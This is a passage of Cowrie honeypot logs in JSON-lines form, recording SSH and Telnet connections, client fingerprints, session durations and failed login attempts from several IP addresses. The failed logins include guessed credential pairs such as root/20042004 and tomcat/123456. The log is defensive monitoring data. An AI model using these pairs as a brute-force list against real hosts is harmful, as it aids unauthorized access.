16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:17.174479Z","src_ip":"103.122.221.179","session":"6aee77fadf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60242,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e09e7e15643","protocol":"telnet","message":"New connection: 152.42.224.71:60242 (10.17.0.5:23) [session: 1e09e7e15643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:17.405998Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"20042004","message":"login attempt [root/20042004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:17.934398Z","src_ip":"103.122.221.179","session":"6aee77fadf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":60918,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd294813fb3","protocol":"ssh","message":"New connection: 47.237.167.49:60918 (159.203.135.109:22) [session: cfd294813fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:18.244791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:18.250148Z","src_ip":"47.237.167.49","session":"cfd294813fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:18.696468Z","src_ip":"47.237.167.49","session":"cfd294813fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49862,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d2d47ff344","protocol":"ssh","message":"New connection: 31.40.204.166:49862 (159.203.135.109:22) [session: e3d2d47ff344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:18.889775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:18.894469Z","src_ip":"31.40.204.166","session":"e3d2d47ff344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:19.024536Z","src_ip":"31.40.204.166","session":"e3d2d47ff344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:19.191865Z","src_ip":"103.122.221.179","session":"6aee77fadf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:19.392453Z","src_ip":"47.237.167.49","session":"cfd294813fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:19.517124Z","src_ip":"31.40.204.166","session":"e3d2d47ff344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179600715637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:19.744667Z","src_ip":"152.42.224.71","session":"6cf3f2a1b318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":44818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0999e2300f46","protocol":"ssh","message":"New connection: 89.108.118.91:44818 (159.203.135.109:22) [session: 0999e2300f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:20.101810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:20.106748Z","src_ip":"89.108.118.91","session":"0999e2300f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:20.246839Z","src_ip":"89.108.118.91","session":"0999e2300f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:20.673240Z","src_ip":"89.108.118.91","session":"0999e2300f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:20.707963Z","src_ip":"31.40.204.166","session":"e3d2d47ff344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:21.147909Z","src_ip":"47.237.167.49","session":"cfd294813fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07657814025879,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:21.241754Z","src_ip":"152.42.224.71","session":"96c387a1894f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:21.820907Z","src_ip":"89.108.118.91","session":"0999e2300f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.42314076423645,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:28.721760Z","src_ip":"152.42.224.71","session":"f7e716e6799e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46942,"dst_ip":"159.203.135.109","dst_port":22,"session":"b411f66fba25","protocol":"ssh","message":"New connection: 31.40.204.166:46942 (159.203.135.109:22) [session: b411f66fba25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:31.625986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:31.631528Z","src_ip":"31.40.204.166","session":"b411f66fba25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:31.790276Z","src_ip":"31.40.204.166","session":"b411f66fba25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:32.217098Z","src_ip":"31.40.204.166","session":"b411f66fba25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:33.414127Z","src_ip":"31.40.204.166","session":"b411f66fba25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ff0a242dde","protocol":"telnet","message":"New connection: 152.42.224.71:59670 (10.17.0.5:23) [session: 18ff0a242dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:34.273285Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59682,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe25d7ab026","protocol":"telnet","message":"New connection: 152.42.224.71:59682 (10.17.0.5:23) [session: abe25d7ab026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:34.291329Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":60948,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef92a9517b10","protocol":"ssh","message":"New connection: 103.91.246.101:60948 (10.17.0.5:22) [session: ef92a9517b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:35.805309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:35.809725Z","src_ip":"103.91.246.101","session":"ef92a9517b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:36.013995Z","src_ip":"103.91.246.101","session":"ef92a9517b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spring","message":"login attempt [root/spring] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:36.868963Z","src_ip":"103.91.246.101","session":"ef92a9517b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:38.078687Z","src_ip":"103.91.246.101","session":"ef92a9517b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.728578090667725,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:41.077106Z","src_ip":"152.42.224.71","session":"55db696d42c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57278,"dst_ip":"159.203.135.109","dst_port":22,"session":"69846f36159f","protocol":"ssh","message":"New connection: 31.40.204.166:57278 (159.203.135.109:22) [session: 69846f36159f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:43.981225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:43.987204Z","src_ip":"31.40.204.166","session":"69846f36159f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:44.108784Z","src_ip":"31.40.204.166","session":"69846f36159f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:44.690905Z","src_ip":"31.40.204.166","session":"69846f36159f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43294,"dst_ip":"10.17.0.5","dst_port":23,"session":"56369ec564b3","protocol":"telnet","message":"New connection: 152.42.224.71:43294 (10.17.0.5:23) [session: 56369ec564b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:45.594160Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d385f478be","protocol":"telnet","message":"New connection: 152.42.224.71:43298 (10.17.0.5:23) [session: d2d385f478be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:45.706897Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:45.818654Z","src_ip":"31.40.204.166","session":"69846f36159f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.959001302719116,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:45.947390Z","src_ip":"152.42.224.71","session":"d7acc1b2220d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.72569441795349,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:46.430014Z","src_ip":"152.42.224.71","session":"cf7c026a6e00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1bffe4fa7ac","protocol":"telnet","message":"New connection: 152.42.224.71:40930 (10.17.0.5:23) [session: e1bffe4fa7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:46.922094Z"}
{"eventid":"cowrie.session.closed","duration":39.54194140434265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:47.580966Z","src_ip":"152.42.224.71","session":"3a0faea218e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40936,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfa576366e7","protocol":"telnet","message":"New connection: 152.42.224.71:40936 (10.17.0.5:23) [session: 1cfa576366e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:52.370712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:52.628069Z","src_ip":"47.237.167.49","session":"ce0999a73566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.839500427246094,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:54.245364Z","src_ip":"152.42.224.71","session":"1e09e7e15643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59268,"dst_ip":"159.203.135.109","dst_port":22,"session":"310a76d7c9ac","protocol":"ssh","message":"New connection: 31.40.204.166:59268 (159.203.135.109:22) [session: 310a76d7c9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:55.712654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:55.718123Z","src_ip":"31.40.204.166","session":"310a76d7c9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hma